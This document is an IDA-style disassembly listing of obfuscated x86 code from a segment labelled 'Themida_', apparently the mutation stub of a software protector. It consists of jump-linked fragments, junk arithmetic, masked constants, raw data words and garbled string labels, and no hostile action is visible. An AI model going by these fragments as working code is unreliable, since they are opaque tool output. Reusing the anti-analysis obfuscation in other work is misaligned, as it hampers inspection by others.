		xor	dword ptr [esp], 49435E1Ch
		pop	ebp
		xor	ebp, 49435E1Ch
		mov	edi, [esp]
		jmp	loc_53E9F5
; ---------------------------------------------------------------------------
		db 8Bh
		dd 1FE9243Ch
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53714F:				; CODE XREF: Themida_:00541314j
		or	edx, eax
		shl	edx, 1
		push	3250h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_53F081
; ---------------------------------------------------------------------------

loc_53716E:				; CODE XREF: Themida_:005412B2j
		mov	eax, [ebx]
		push	dword ptr [esp]
		mov	ebx, [esp]
		jmp	loc_5414EC
; ---------------------------------------------------------------------------
		db 4
aBsW		db '│И w',0
		align 2
		dw 0CEFEh
		dd 0C680D6F6h, 0E9F40040h, 63BBh, 24348B59h, 98AFE9h
		db 0
; ---------------------------------------------------------------------------

loc_537199:				; CODE XREF: Themida_:005385DFj
		push	eax
		mov	ah, dl
		mov	bl, ah
		pop	eax
		push	1B79h
		mov	[esp], edx
		push	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	dl, bl
		mov	ch, dl
		pop	edx
		mov	dh, ch
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_537B1C
; ---------------------------------------------------------------------------

loc_5371CC:				; CODE XREF: Themida_:00537CB6j
		sub	al, 0CAh
		push	68B1h
		mov	[esp], edx
		push	6F44h
		mov	[esp], eax
		push	dx
		jmp	loc_540666
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 68000000h, 1284h, 0BB241C89h, 48C80A5Bh, 0F02E9h
		db 0
; ---------------------------------------------------------------------------

loc_5371FD:				; CODE XREF: Themida_:0053E757j
		mov	esp, [esp]
		jmp	loc_536DC2
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 247Eh, 0C2815A54h, 4, 4EC81h, 61E90000h
		dd 0F700009Dh, 0BD07E9D1h, 0C4810000h, 4, 5417E9h, 240C8900h
		dd 0E1C09FB1h, 1CB45007h, 66A3C480h, 30F5B252h,	515A66D4h
		dd 80B0B450h, 0EC803EE4h, 700FE984h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53725A:				; CODE XREF: Themida_:0053FC29j
		jmp	loc_536DC2
; ---------------------------------------------------------------------------
		db 81h
		dd 4350F6C6h, 7623E940h, 0F9880000h, 58E1305Bh,	0CE00B0B6h
		dd 53240C8Bh, 55EFE9h, 24148900h, 0BB0C4868h, 0D2F75A6Dh
		dd 3109E9h, 240C8900h, 0C5FE7FB5h, 8AF580h, 2434FFE8h
		dd 8704E9h, 6357BB00h, 0EBC10465h, 0C3814B06h, 657C41h
		dd 815BDA29h, 850697C5h, 7F05E94Bh, 0E7890000h,	4C781h
		dd 0C7810000h, 4, 0E9243C87h, 9D1Eh, 0FF24248Bh, 34FF2434h
		dd 0EC815924h, 4, 89243489h, 4C681E6h, 81000000h, 4C6h
		dd 24348700h, 2FE9535Ch
		db 85h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5372FF:				; CODE XREF: Themida_:0053F154j
		mov	ecx, 0FFFFFFFFh
		sub	[edi+24h], ecx
		jmp	loc_53A9E3
; ---------------------------------------------------------------------------
		dd 0A40CF281h, 0BF57BF75h, 20543356h, 0D9F7CF87h, 8A8AE9h
		dd 0F2814A00h, 564F50CCh, 5704E2C1h, 19C568h, 24148900h
		dd 0E43183BAh, 0FD09BF09h, 0D7013AFCh, 8324148Bh, 0FA2904C4h
		dd 11C3815Fh, 14C6A3Dh,	11EB81D3h, 5A4C6A3Dh, 5302C383h
		dd 42474FFh, 24048F5Bh,	0D224248Bh, 0E99C2424h,	0FFFFFA52h
		dd 240C8B66h, 4EC8151h,	89000000h, 4812424h, 424h, 0E9525900h
		dd 230Bh, 0BB53D829h, 26E87634h, 535BD801h, 2D44E9h, 2434FF00h
		dd 7288E959h, 89660000h, 0BA662414h, 2966D5F2h,	148B66D0h
		dd 98F6824h, 34890000h,	0A2E95424h, 66000046h, 0B0240489h
		dd 66C300B3h, 0E924048Bh, 5B77h, 8B2434FFh, 54572404h
		dd 83243C8Bh, 0B85004C4h, 0C9174BEh, 6E8B4605h,	8BC701F3h
		dd 0C7682404h, 8900003Dh, 0E189240Ch, 4C181h, 0C1810000h
		dd 4, 8B240C87h, 0C7832424h, 74FF5704h,	0A5E90424h, 5200003Eh
		dd 42474FFh, 8324148Bh,	48F04C4h, 0B1ECE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_53742E:				; CODE XREF: Themida_:005397FEj
		mov	[esp], ebp
		push	edi
		mov	edi, ebx
		mov	ebp, edi
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_537884
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 64816CA8h, 3FB8C781h, 48B0908h, 4C48124h, 83000000h
		dd 6E904ECh, 5100001Dh,	4E9E189h, 5F000068h, 0E904C483h
		dd 5DBCh
; ---------------------------------------------------------------------------

loc_537470:				; CODE XREF: Themida_:0053D05Dj
		mov	edx, 6A8C1715h
		add	ebx, 65504315h
		sub	ebx, edx
		sub	ebx, 65504315h
		pop	edx
		jmp	loc_53A014
; ---------------------------------------------------------------------------
		db 81h,	0C4h, 4
		dd 81000000h, 4C4h, 3D856800h, 34890000h, 50EDE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_5374A2:				; CODE XREF: Themida_:00538081j
		add	esp, 4
		push	6C57h
		mov	[esp], esi
		sub	dword ptr [esp], 2F92483Dh
		pop	eax
		add	eax, 2F92483Dh
		mov	esi, [esp]
		push	ebp
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 4
		jmp	loc_5390AF
; ---------------------------------------------------------------------------
		dd 0C1665866h, 686603E7h, 89664864h, 0BD66242Ch, 3166AC47h
		dd 25ABE9EFh, 0C3010000h, 0B97EB81h, 48B7087h, 1432E924h
		dd 665C0000h, 6824048Bh, 7A64h,	68241C89h, 35FDh, 3C36E9h
		dd 51E95200h
		db 87h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537517:				; CODE XREF: Themida_:0053F8DFj
		pop	ecx
		jmp	loc_538054
; ---------------------------------------------------------------------------
		db 81h,	0EFh, 5Ch
		dd 1527DA6h, 0C1815FF9h, 2, 499CE9h, 3EDC000h, 93E9CDFEh
		db 14h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_53753B:				; CODE XREF: Themida_:0053EB06j
		add	esp, 4
		and	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		shr	ecx, 6
		jmp	loc_53B924
; ---------------------------------------------------------------------------

loc_537551:				; CODE XREF: Themida_:0053995Bj
		shl	esi, 2
		dec	esi
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, 0E697410h
		add	ebx, 0B6F3EB2Eh
		jmp	loc_53E4B9
; ---------------------------------------------------------------------------
		db 0BAh
		dd 0C01C80h, 535AD301h,	7F242C81h, 0E90E9627h, 6715h
; ---------------------------------------------------------------------------

loc_537580:				; CODE XREF: Themida_:0053E0EBj
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		and	eax, edx
		pop	edx
		shr	eax, 0Eh
		xor	eax, ecx
		jmp	loc_537C14
; ---------------------------------------------------------------------------

loc_53759D:				; CODE XREF: Themida_:00537A6Cj
		mov	ebp, [esp]
		add	esp, 4
		add	ecx, eax
		pop	eax
		sub	edx, ecx
		pop	ecx
		mov	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		and	eax, ecx
		pop	ecx
		or	eax, eax
		jz	loc_53E66F
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	ecx
		jmp	loc_5382CE
; ---------------------------------------------------------------------------

loc_5375CB:				; CODE XREF: Themida_:0053B1E2j
		push	edi
		push	edx
		push	ebp
		mov	ebp, 333D23E7h
		xor	ebp, 54314355h
		jmp	loc_53A310
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 0E9522404h, 47F1h
; ---------------------------------------------------------------------------

loc_5375E8:				; CODE XREF: Themida_:0053B2AEj
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]

loc_5375F8:				; CODE XREF: Themida_:0053F01Aj
		push	59F7h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_53F4F9
; ---------------------------------------------------------------------------

loc_537617:				; CODE XREF: Themida_:005395F4j
		push	ebx
		mov	ebx, 0
		jmp	loc_53709E
; ---------------------------------------------------------------------------

loc_537622:				; CODE XREF: Themida_:0053C53Cj
		mov	[esp], edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 4AE72265h
		jmp	loc_53CA1C
; ---------------------------------------------------------------------------
		dw 8F59h
		dd 248B2404h, 1DDBE924h, 0F5680000h, 0E900002Fh, 5FC4h
; ---------------------------------------------------------------------------

loc_537648:				; CODE XREF: Themida_:00541B8Ej
		mov	dh, 6Bh
		sub	dh, 0A7h
		push	eax
		mov	ah, 0A2h
		dec	ah
		not	ah
		dec	ah
		jmp	loc_53C6AA
; ---------------------------------------------------------------------------
		db 0FFh
		dd 835D2434h, 0EE904C4h, 0AD00007Ch, 2950F105h,	68D82914h
		dd 7A93h, 89241C89h, 4C381E3h, 83000000h, 1C3304EBh, 241C3124h
		dd 8B241C33h, 2C892424h, 7A685024h, 0E94E5B77h,	93DCh
		dd 24048B66h, 167E68h, 24048900h, 4055854h, 83000000h
		dd 43304E8h, 24043124h,	5C240433h, 0E9241489h, 0FFFFFB4Ch
; ---------------------------------------------------------------------------

loc_5376C4:				; CODE XREF: Themida_:0053C516j
		shl	ebp, 7
		add	ebp, 6BB05F41h
		jmp	loc_53D4FF
; ---------------------------------------------------------------------------

loc_5376D2:				; CODE XREF: Themida_:0053D56Dj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_53AAF1
; ---------------------------------------------------------------------------
		db 0BFh, 82h, 49h
		dd 0CF81494Eh, 222359BDh, 0DC2CC781h, 96E903B3h
		db 91h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5376F3:				; CODE XREF: Themida_:0053A41Aj
		push	esi
		push	ebx
		sub	esp, 4
		mov	[esp], ebp
		push	5C6D3203h
		jmp	loc_53EE75
; ---------------------------------------------------------------------------
		dd 83242C89h, 48904ECh,	0B4BD5524h, 57499307h, 8C242CBFh
		dd 2C59E93Fh, 0E9510000h, 0FFFFF992h, 1D54C781h, 5AE95C07h
		db 17h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537733:				; CODE XREF: Themida_:0053D98Dj
		add	edx, 3673150Dh
		add	edx, eax
		push	1ACh
		mov	[esp], edi
		push	2D15h
		mov	[esp], esi
		mov	esi, 4AC8051Eh
		mov	edi, esi
		pop	esi
		add	edi, 2A9A3155h
		jmp	loc_53E4F7
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 240C8B24h, 0E95B5453h, 0D79h, 0F6A6B551h, 1B46E9D5h
		dd 665C0000h, 5324048Bh, 6FEEE954h, 0EA010000h,	0F638E95Dh
		dd 875FFFFFh, 248B2434h, 0FAF7E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_537796:				; CODE XREF: Themida_:00540D4Ej
		pop	dword ptr [esp]
		jmp	loc_53AC81
; ---------------------------------------------------------------------------
		dw 0BD55h
		dd 748D09BEh, 2D03C581h, 0E93384h
		db 6Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5377AF:				; CODE XREF: Themida_:0053E67Bj
		pop	eax
		sub	esp, 4
		jmp	loc_540F98
; ---------------------------------------------------------------------------
		db 50h
		dd 1B162AB8h, 55F10D09h, 20E971F5h, 1000021h, 14875FFAh
		dd 2C8B5C24h, 4C48324h,	2C815052h, 0A53B1B24h, 0C2815A54h
		dd 54A53B1Bh, 4EC81h, 14890000h, 2434FF24h, 2130E9h
		db 0
; ---------------------------------------------------------------------------

loc_5377F9:				; CODE XREF: Themida_:005396CEj
		shl	edx, 1
		jmp	loc_53D370
; ---------------------------------------------------------------------------
		dd 0FE06EBC0h, 940EE9C3h, 34FF0000h, 24048B24h,	8924E9h
		dd 4E7C000h, 0E9C1EF80h, 0A7C8h, 9BE9028Fh, 66FFFFF5h
		dd 5524048Bh, 7ABEE9h, 53B25200h, 0FE57CA80h, 7EAC0CAh
		dd 0F647EA80h, 2EC83DAh, 241C8966h, 68B65251h, 0E95AF588h
		dd 0FFFFFCDDh, 0E95DEF89h, 0DCDh, 345B8BBBh, 4E96E9C4h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537866:				; CODE XREF: Themida_:0053A92Fj
		add	edx, 4
		jmp	loc_5409C3
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 0Ch
aHru		db '$hЮU',0
		align 2
aI4TS3i		db '┴4$T^И3╘',0
		align 4

loc_537884:				; CODE XREF: Themida_:0053743Dj
		mov	eax, ebp
		jmp	loc_537F15
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 0B9E90000h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537897:				; CODE XREF: Themida_:0053B9C5j
		add	[esp+8], ecx
		pop	ecx
		add	[esp+4], edx
		sub	dword ptr [esp+4], 747255E7h
		pop	edx
		jmp	loc_54031F
; ---------------------------------------------------------------------------
		dw 0FE2Dh
		dd 2930690Fh, 4BF8E9D8h, 48B0000h, 4EC8324h, 89243489h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 4EF835Ch, 8B243C87h
		dd 0C892424h, 0F4DCE924h, 0C531FFFFh, 5DE82958h, 0C7E9D801h
		dd 8300002Eh, 2EE902C0h
		db 28h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_5378FB:				; CODE XREF: Themida_:0053D607j
		inc	esi
		sub	esi, 67133543h
		add	ecx, esi
		pop	esi
		xchg	ecx, [esp]
		jmp	loc_53AC04
; ---------------------------------------------------------------------------
aRsik		db 'RИ╘K',0
		dw 8B00h
		dd 89662424h, 0A3E92404h, 0F6FFFFF4h, 0FCF380D3h, 0D0F380h
		dd 712C5BD8h, 7104D828h, 62B65266h, 5A66F028h, 0E068AA04h
		dd 8900007Ah, 0B0502414h, 17FEE937h, 0CD680000h, 0E900002Dh
		dd 323Fh, 64E9815Eh, 0E935146Bh, 486Ch,	81E78957h, 4C7h
		dd 87FE900h, 0C6830000h, 24348702h, 3C31665Ch, 3C336624h
		dd 3C316624h, 0F43CE924h, 5550FFFFh, 95743CBDh,	5ACDB855h
		dd 1E95F35h, 0BD00001Ah, 2, 3DE9EF01h, 2800003Bh, 285B66DAh
		dd 2E685AD0h, 89000031h, 0A4B22414h, 6804E2C0h,	7045h
		dd 0E9240489h, 6A7Ch, 9C2404D2h, 0FFF3F5E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_5379CD:				; CODE XREF: Themida_:0053F938j
		pop	esi
		xor	ebx, 0FCB03AE0h
		add	edx, ebx
		pop	ebx
		add	edx, 6C086120h
		mov	ecx, edx
		pop	edx
		jmp	loc_53E75C
; ---------------------------------------------------------------------------
		db 81h,	0C3h, 0BAh
		dd 0E932F365h, 4DA7h
; ---------------------------------------------------------------------------

loc_5379F0:				; CODE XREF: Themida_:005409D9j
		add	eax, edi
		jmp	loc_540144
; ---------------------------------------------------------------------------
		db 0B6h
		dd 80D6F648h, 0F680F5E6h, 0F6E68670h, 66E686D4h, 38B151h
		dd 805966CEh, 0E9B2C6h,	4000000h, 0A1FCE96Fh, 0EB810000h
		dd 819BA2BDh, 2AC8E9h, 8B545600h, 0C4832434h, 4BF5704h
		dd 1000000h, 0BD555FFEh, 4, 335DEE01h, 78E92434h, 8F00008Dh
		dd 0FF5C2404h, 25E92434h, 8800002Eh, 8217E9E6h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537A5E:				; CODE XREF: Themida_:0053999Bj
		pop	ebp
		shr	ebp, 1
		inc	ebp
		shl	ebp, 1
		xor	ebp, 0AA550C61h
		mov	ecx, ebp
		jmp	loc_53759D
; ---------------------------------------------------------------------------

loc_537A71:				; CODE XREF: Themida_:0053DE42j
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	541Ah
		mov	[esp], esi
		push	1000000h
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	esi
		push	ebp
		push	2828h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_542567
; ---------------------------------------------------------------------------

loc_537AA5:				; CODE XREF: Themida_:0054116Bj
		pop	eax
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_53F20D
; ---------------------------------------------------------------------------
		db 33h
		dd 14312414h, 4805E924h, 0D7F70000h, 241AE9h, 0ABF40500h
		dd 0C1298C3Eh, 531FE958h, 0BA520000h, 4, 148BD101h, 4C48324h
		dd 40C1E9h, 68564A00h, 6374h, 5E241489h, 46D6F75Ah, 860FE9h
		dd 0E9DE0100h, 733Bh, 8957C601h, 4C781E7h, 56000000h, 0DA7CCDBEh
		dd 0A9EE8126h, 0C1204C4Fh, 0E94E02EEh, 8C9Bh
; ---------------------------------------------------------------------------

loc_537B1C:				; CODE XREF: Themida_:005371C7j
		xchg	edi, [esp]
		jmp	loc_53E3A9
; ---------------------------------------------------------------------------

loc_537B24:				; CODE XREF: Themida_:0053F8E6j
		xchg	eax, ebx
		push	ebx
		push	edx
		pop	ebx
		pop	edx
		not	edx
		xor	ebx, edx
		xor	edx, ebx
		xor	ebx, edx
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_53E4EC
; ---------------------------------------------------------------------------
a_sP		db '_Иф▐',0
		dd 50E58900h, 4B8h, 0E9C50100h,	66C8h, 34FFE300h, 0C4835824h
		dd 0C0B60F04h, 688734FFh, 224Fh, 57241489h, 63A4E9h, 0BD555B00h
		dd 27FB5D13h, 51F4ED81h, 0ED816705h, 486D22EAh,	7A93BB53h
		dd 0F38146E8h, 57993052h, 5C79F381h, 0DD0121B4h, 0E9F5815Bh
		dd 1A94DFEh, 2434FFEBh,	509E95Dh, 52560000h, 3F776EBAh
		dd 0D280BE31h, 80E9AD60h, 8B0000ACh, 8957240Ch,	4C781E7h
		dd 0E9000000h, 76C0h, 0E635EA81h, 93E9C630h, 5D00002Eh
		dd 25C3814Bh, 18D4ECCh,	0E9555BDFh, 0FFFFFDAFh,	19646851h
		dd 58E90000h, 66000045h, 6824048Bh, 4403h, 89243C89h, 4C781E7h
		dd 56000000h, 1CE7BA52h, 0E9531EC8h, 8568h
; ---------------------------------------------------------------------------

loc_537C14:				; CODE XREF: Themida_:00537598j
		push	eax
		xchg	ecx, [esp]
		push	ecx
		not	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_539CCE
; ---------------------------------------------------------------------------
		dd 10E7B951h, 0D1F7256Eh, 0E981D1F7h, 1D43031Bh, 15E9CB31h
		dd 8700002Ah, 37E9241Ch
		db 4Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537C43:				; CODE XREF: Themida_:00542E0Bj
		xor	[esp], ax
		pushf
		jmp	loc_536DC2
; ---------------------------------------------------------------------------
		db 5Eh,	8Bh, 2Ch
		dd 4C48124h, 0E9000000h, 6DBEh
; ---------------------------------------------------------------------------

loc_537C5C:				; CODE XREF: Themida_:0053F4C6j
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		jmp	loc_5428CA
; ---------------------------------------------------------------------------
		db 89h,	34h, 24h
		dd 0A94CE4BEh, 4CE0BA33h, 0F23133A9h, 8124348Bh, 4C4h
		dd 7BE95200h, 100003Eh,	1BEF81C7h, 6805FC28h, 1AB8h, 0B8240489h
		dd 0CF45223h, 11F9E9h, 0C031B600h, 0F7E904EEh
		db 6Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537CAF:				; CODE XREF: Themida_:0053DB2Dj
		add	al, 2Fh
		pop	ecx
		add	al, bl
		add	al, 0B5h
		jmp	loc_5371CC
; ---------------------------------------------------------------------------

loc_537CBB:				; CODE XREF: Themida_:00540160j
		push	edx
		pop	dword ptr [ebx]
		push	dword ptr [esp]
		pop	ebx
		push	4645h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		sub	edi, 749B21C3h
		add	edi, ecx
		add	edi, 749B21C3h
		pop	ecx
		xchg	edi, [esp]
		pop	esp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_541E78
; ---------------------------------------------------------------------------
aIchan		db '┴ФhaN',0
		align 10h
		dd 54242C89h, 4C5815Dh,	81000000h, 4EDh, 242C8700h, 4D92E95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537D1A:				; CODE XREF: Themida_:0053F07Cj
		sub	eax, 59D46004h
		pop	edi
		add	eax, 668B7214h
		sub	ecx, eax
		pop	eax
		mov	[edx+38h], ecx
		mov	ecx, [esp]
		add	esp, 4
		push	dword ptr [edx+38h]
		push	edi
		pop	dword ptr [edx+38h]
		jmp	loc_541EAA
; ---------------------------------------------------------------------------
a313Ss		db '3<$1<$3<$ИS"',0
		align 2
		dw 665Ch
		dd 9C243CD3h, 0FFF069E9h, 240C33FFh, 6624248Bh,	0E9240489h
		dd 0FFFFF05Ah, 0E350D435h, 45AEE901h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_537D72:				; CODE XREF: Themida_:0053FF3Dj
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_536F26
; ---------------------------------------------------------------------------
aAqksx1		db '─О╙ИX1',0
		align 4

loc_537D94:				; CODE XREF: Themida_:0053C602j
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_53932D
; ---------------------------------------------------------------------------
		db 5Bh
		dd 58E5EE81h, 0C68114A4h, 7EB727FAh, 6E12C681h,	82E97FF2h
		dd 5500002Ch, 66FCE9h
		db 0
; ---------------------------------------------------------------------------

loc_537DC5:				; CODE XREF: Themida_:0053F42Aj
		add	esi, ecx
		pop	ecx
		and	edi, esi
		mov	esi, [esp]
		add	esp, 4
		add	edi, 0FF3FA080h
		and	ecx, edi
		pop	edi
		shr	ecx, 7
		push	2CC7h
		mov	[esp], ebx
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_53FBCB
; ---------------------------------------------------------------------------

loc_537DF2:				; CODE XREF: Themida_:0053B4CEj
		and	eax, esi
		push	dword ptr [esp]
		pop	esi
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_53B69E
; ---------------------------------------------------------------------------
		dd 575AD101h, 4BFh, 5FF90100h, 9A3E9h, 148B6600h, 2C48124h
		dd 80000000h, 0F38027EBh, 8BDA30C7h, 0C481241Ch, 4, 85E9D030h
		dd 58000090h, 0E9F0E580h, 45F4h, 78E9D809h, 810000A3h
		dd 2337F1C1h, 81D9015Dh, 2337F1E9h, 0EC815B5Dh,	4, 0FF240C89h
		dd 59042474h, 5C24048Fh, 9C240430h, 0FFEF49E9h,	2434FFFFh
		dd 83240C8Bh, 0EC8304C4h, 242C8904h, 0C5815D54h, 4
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_537FE2
; ---------------------------------------------------------------------------

loc_537EA8:				; CODE XREF: Themida_:0053C117j
		mov	ecx, 87774BDh
		xor	ecx, ebx
		mov	ebx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_53CA9D
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 72h
		dd 2D5EB727h, 4B14335Bh, 5B05E801h, 0E94B1433h,	729Ch
		dd 0B2241489h, 912BE92Bh, 0EC830000h, 24148904h, 47BBE9h
		dd 4B75300h, 110968h, 24148900h, 0E680B2B6h, 80CEFEF4h
		dd 0F028E2EEh, 52F8285Ah, 0B052E9h
		db 0
; ---------------------------------------------------------------------------

loc_537F15:				; CODE XREF: Themida_:00537886j
		mov	ecx, eax
		jmp	loc_53C0B1
; ---------------------------------------------------------------------------

loc_537F1C:				; CODE XREF: Themida_:005423C2j
		add	esi, ebp
		pop	ebp
		xchg	esi, [esp]
		pop	esp
		and	eax, ebx
		pop	ebx
		shr	eax, 10h
		xor	eax, ecx
		push	3488h
		mov	[esp], eax
		jmp	loc_541F1C
; ---------------------------------------------------------------------------
		dd 68241C89h, 5CF7h, 0E9242489h, 9567h
; ---------------------------------------------------------------------------

loc_537F48:				; CODE XREF: Themida_:0053F177j
		mov	eax, edx
		mov	edi, eax
		pop	eax
		pop	edx
		and	eax, edi
		push	dword ptr [esp]
		pop	edi
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		jmp	loc_53E1F5
; ---------------------------------------------------------------------------
		dw 0D2F7h
		dd 0DAF7DAF7h, 0A9F4F281h, 30E9AA46h
		db 38h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_537F73:				; CODE XREF: Themida_:0053AB4Bj
		shr	edi, 4
		sub	edi, 0F3D2A928h
		jmp	loc_53A771
; ---------------------------------------------------------------------------
		db 51h,	89h, 0F9h
aIY_skh		db '┴мY_ИKh',0
		db 0
; ---------------------------------------------------------------------------

loc_537F8D:				; CODE XREF: Themida_:005394A6j
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 19AE664Bh
		sub	eax, edi
		jmp	loc_5394B9
; ---------------------------------------------------------------------------
		db 59h
		dd 4C481h, 0BFE90000h, 50000001h, 0F480DFB4h, 4ECC080h
		dd 804BB753h, 0EFC0A6F7h, 0E0F78007h, 0E96CE780h, 37AAh
		dd 4C4835Bh, 0E96BC380h, 405Dh
; ---------------------------------------------------------------------------

loc_537FD8:				; CODE XREF: Themida_:0053BFAEj
		add	ebx, ebp
		mov	ebp, [esp]
		jmp	loc_540987
; ---------------------------------------------------------------------------

loc_537FE2:				; CODE XREF: Themida_:00537EA3j
		mov	esi, 7F565819h
		xor	esi, 7F56581Dh
		sub	ebp, 0C07612Fh
		jmp	loc_539960
; ---------------------------------------------------------------------------

loc_537FF8:				; CODE XREF: Themida_:0053DAD3j
		push	ebx
		mov	ebx, 4
		jmp	loc_539120
; ---------------------------------------------------------------------------
		db 81h
		dd 0F33091F3h, 240C8B13h, 7BD6E9h, 28032C00h, 0E90304D8h
		dd 6EE1h, 4C581h, 0B9510000h, 5CD92FE1h, 0BF574949h, 0A326D023h
		dd 3C8BF901h, 4C48324h,	2BC9BF57h, 1AE97E87h, 8100008Fh
		dd 4C2h, 1DDE900h, 0E9560000h, 9067h
; ---------------------------------------------------------------------------

loc_538054:				; CODE XREF: Themida_:00537518j
		mov	esi, [esp]
		add	esp, 4
		pop	eax
		push	dword ptr [esp]
		pop	edx
		add	esp, 4

loc_538065:				; CODE XREF: Themida_:loc_53E5A2j
		push	282h
		mov	[esp], ebp
		push	49D3h
		jmp	loc_54220A
; ---------------------------------------------------------------------------

loc_538077:				; CODE XREF: Themida_:0053B931j
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	esi, [esp]
		jmp	loc_5374A2
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 0E7895724h, 4C781h, 0C7830000h, 243C8704h, 0E924248Bh
		dd 0ADCFh, 241C8966h, 0BD04FEB7h, 0BD2CF800h, 0E95B66h
		dd 810000ABh, 4C4h, 4BE5600h, 0E9000000h, 3339h
; ---------------------------------------------------------------------------

loc_5380C4:				; CODE XREF: Themida_:0053C6A5j
		mov	edx, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_53EA38
; ---------------------------------------------------------------------------
aXs		db 'XИ,',27h,0
		align 4
		dd 8B241487h, 0D3E92424h
		db 0ECh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_5380EF:				; CODE XREF: Themida_:0053FB2Bj
		xchg	edi, ebp
		not	edi
		xchg	edi, ebp
		jmp	loc_53C260
; ---------------------------------------------------------------------------

loc_5380FA:				; CODE XREF: Themida_:005385B7j
		jmp	loc_536DC2
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0DBF708E3h, 1DD06850h, 2C890000h, 7E2BD24h, 0C8E927CDh
		dd 2900000Dh, 0C2815DEAh, 6992458Dh, 0CC2DF281h, 0B8E9C185h
		dd 89000002h, 0B7E9242Ch, 8B000051h, 8957240Ch,	4C781E7h
		dd 0E9000000h, 968Ch
; ---------------------------------------------------------------------------

loc_538144:				; CODE XREF: Themida_:0053E462j
		xor	ebp, 790523B6h
		sub	esi, ebp
		jmp	loc_53BCF4
; ---------------------------------------------------------------------------
		db 5Eh,	81h, 0C5h
		dd 0FFFFFFFFh, 62D9E9h,	0FED3F600h, 6F5F68C3h, 0C890000h
		dd 726DE924h, 0C5830000h, 74FF5502h, 8F5D0424h,	0CFE92404h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_53817F:				; CODE XREF: Themida_:00539B7Fj
		not	ebx
		xchg	ebx, edx
		xor	edx, 204B205Ah
		push	eax
		mov	eax, 5A654838h
		jmp	loc_5392A9
; ---------------------------------------------------------------------------
		dd 503ABB53h, 0B8505C38h, 1B3341FEh, 0F703E8C1h, 136DE9D0h
		dd 895C0000h, 5E542434h, 4C681h, 7E90000h, 8B00002Eh, 0C4832404h
		dd 4C48304h, 8702C683h,	248B2434h, 48B6624h, 59AF6824h
